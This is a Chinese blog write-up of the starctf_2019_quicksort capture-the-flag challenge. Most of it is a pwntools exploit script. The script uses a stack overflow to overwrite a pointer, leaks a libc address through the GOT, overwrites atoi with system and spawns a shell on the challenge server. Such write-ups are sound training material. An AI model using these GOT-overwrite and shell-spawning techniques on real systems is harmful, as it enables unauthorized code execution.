starctf_2019_quicksort

161 篇文章 9 订阅
161 篇文章 9 订阅

starctf_2019_quicksort

首先,检查一下程序的保护机制

然后,我们用IDA分析一下,栈溢出,可以将ptr指针覆盖掉,因此,我们可以任意地址写。

那么,我们可以将free的got表修改为main函数,这样就可以进行多次利用,同时后面的printf可以泄露地址

#coding:utf8
from pwn import *
from LibcSearcher import *

#sh = process('./starctf_2019_quicksort',env={'LD_PRELOAD':'./libc-2.23_x86.so'})
sh = remote('node3.buuoj.cn',26439)
elf = ELF('./starctf_2019_quicksort')
libc = ELF('./libc-2.23_x86.so')
gets_got = elf.got['gets']
atoi_got = elf.got['atoi']
vuln_addr = 0x08048816
sh.sendlineafter('sort?','1')

#修改free的got表为main,同时泄露puts的地址
payload = str(vuln_addr).ljust(0x10,'\x00') + p32(1)*2 + p32(0) + p32(gets_got)
sh.sendlineafter('number:',payload)
sh.recvuntil('result:\n')
gets_addr = int(sh.recvuntil('\n',drop = True)) + 0x100000000
libc_base = gets_addr - libc.sym['gets']
system_addr = libc_base + libc.sym['system']
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)

sh.sendlineafter('sort?','1')
payload = str(system_addr - 0x100000000).ljust(0x10,'\x00') + p32(1)*2 + p32(0) + p32(atoi_got - 0x4)
sh.sendlineafter('number:',payload)
#getshell
sh.sendlineafter('sort?','1')
sh.sendlineafter('number:','/bin/sh\x00')

sh.interactive()

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值